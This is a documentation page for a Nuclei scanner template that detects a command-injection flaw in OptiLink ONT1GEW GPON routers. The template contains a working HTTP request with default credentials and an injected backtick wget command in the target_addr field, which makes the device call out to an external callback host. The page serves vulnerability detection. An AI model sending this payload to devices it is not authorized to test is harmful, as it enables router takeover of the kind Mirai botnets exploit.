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OptiLink ONT1GEW GPON Remote Code Execution

ID: optilink-ont1gew-gpon-rce

Severity: critical

Author: gy741

Tags: optiLink,rce,oast,mirai,packetstorm

Description

Section titled “Description”

OptiLink is susceptible to remote code execution vulnerabilities which could allow an authenticated, remote attacker to perform command injection attacks against an affected device.

YAML Source

Section titled “YAML Source”
id: optilink-ont1gew-gpon-rce


info:
  name: OptiLink ONT1GEW GPON Remote Code Execution
  author: gy741
  severity: critical
  description: OptiLink is susceptible to remote code execution vulnerabilities which could allow an authenticated, remote attacker to perform command injection attacks against an affected device.
  reference:
    - https://packetstormsecurity.com/files/162993/OptiLink-ONT1GEW-GPON-2.1.11_X101-Remote-Code-Execution.html
    - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: optiLink,rce,oast,mirai,packetstorm


http:
  - raw:
      - |
        POST /boaform/admin/formTracert HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/diag_ping_admin_en.asp
        User: e8c
        Password: e8c


        target_addr="1.1.1.1+`wget+http%3A%2F%2F{{interactsh-url}}%2F`"&waninf=127.0.0.1"


    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 490a0046304402205034cb774b71151b251df0dabeef467988ed11ee77c65999620150856ad824030220032a0e0838235e4245e8528707c3c3f3069ee52d937bd53a6ef9f6195cda0221:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/optilink-ont1gew-gpon-rce.yaml"

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